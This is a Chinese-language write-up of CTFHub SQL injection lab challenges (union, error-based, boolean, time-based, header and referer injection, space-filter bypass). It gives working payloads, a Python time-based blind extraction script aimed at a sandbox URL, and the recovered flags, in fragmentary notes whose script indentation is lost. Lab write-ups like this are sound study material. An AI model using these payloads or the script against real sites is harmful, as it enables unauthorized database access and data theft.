ctfhub的SQL注入中的flag是动态生成的
发现直接给出了SQL语句,根据给出的SQL语句可以判断出直接使用联合查询即可
首先使用order by 3 ,页面无回显,改为2之后页面显示正确。因此判断当前数据库当前表,共有2个字段。
首先将id改为一个不存在的纸,根据联合查询的特性,就会返回11111,222222然后显示在页面上。
flag:
ctfhub{3fb4fbef3fd3175a864110b6}
字符型注入根据页面显示的SQL语句,可以知道基本思路和整形注入相似,只是payload需要加上单引号
payload
?id=-1' union select 1,flag from flag--+
flag
ctfhub{4098ca7480c9a812a9321c3d}
发现页面未显示出查询的数据,但是当SQL语句错误时会显示报错信息
成功报错,显示出数据库版本
但是extractvalue函数第二个参数最大长度为32位,所以使用substr函数对第二个参数进行分割
成功得到所有数据库名
flag:
ctfhub{d6b0bef8ea6e6fd9631b5c1f}
flag为32
flag:
ctfhub{60a7b4278aedbc32f0ec858d}
payload
?id=1 and if(substr((select flag from sqli.flag),31,1)>'5',sleep(5),0)
爆破脚本
#coding:utf-8
import requests
import sys
import time
session=requests.session()
url = "http://challenge-c566d59f2dded69f.sandbox.ctfhub.com:10080/?id="
name = ""
for i in range(1,32):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
ctfhub{347cd6b5669702a229224fb6}
ctfhub{e22038a46e6aa1e47c1e9efd}
ctfhub{06145e574bea5cd5b326bb25}
抓包分析,注入点在请求头中
flag
ctfhub{a09a39bb06a15ca6fb9ce8e3}
抓包分析,添加referer字段。注入点在referer字段
可以尝试使用以下符号代替空格
发现被检测到
根据提示猜测可能是过滤空格了
flag
ctfhub{f97e87de975f11c9521469c9}